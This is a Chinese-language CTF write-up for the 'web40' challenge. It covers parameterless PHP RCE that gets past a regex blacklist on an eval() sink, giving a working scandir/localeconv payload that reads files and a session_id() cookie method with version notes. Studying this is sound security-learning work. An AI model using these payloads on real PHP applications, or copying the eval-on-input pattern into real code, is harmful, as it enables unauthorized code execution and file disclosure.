web40無參數RCE繞過
源碼
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
大佬的wp
利用無參數RCE的姿勢
一個坑的地方就是括号:
并不是(),而是()
參考:PHP Parametric Function RCE
方法一
讀檔案+數組改造
先把payload寫下
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函數
localeconv():傳回一包含本地數字及貨币格式資訊的數組。其中數組中的第一個為點号(.)
scandir():擷取目錄下的檔案,scandir(.):擷取目前目錄下所有檔案
pos():傳回數組中的目前元素的值。
array_reverse():數組逆序
next(): 函數将内部指針指向數組中的下一個元素,并輸出。
highlight_file():函數進行檔案内容的讀取,并輸出
解答
00x1
首先通過 pos(localeconv())得到點号(.)
該方法還有如下函數可以進行替換
dirname(_FILE_)
current(localeconv()
reset(localeconv()
pos(localeconv()
getcwd()
因為scandir(’.’)表示得到目前目錄下的檔案,是以
scandir(pos(localeconv()))就能得到根目錄的檔案了。
具體内容如下
00x2
然後得到的檔案數組結果,發現想要擷取的檔案排序在後面,這時候可以調整檔案指針,用
array_reverse()函數,将輸出檔案反向排序
00x3
next(): 函數将内部指針指向數組中的下一個元素,并輸出。
想要輸出指定的指針檔案,next()函數需要配合highlight_file()函數進行檔案的輸出
方法二
利用session_id()
剛開始的時候利用session_id(),修改下cookie中的PHPSESSID 内容為ls
但是在進步傳參為flag是無法進行檔案讀取
具體的原因分析
來自: https://blog.csdn.net/miuzzx/article/details/108415301
經過測試發現,受php版本影響 5.5 -7.1.9均可以執行,因為session_id規定為0-9,a-z,A-Z,-中的字元。在5.5以下及7.1以上均無法寫入除此之外的内容。但是符合要求的字元還是可以的。
受到PHP版本的限制。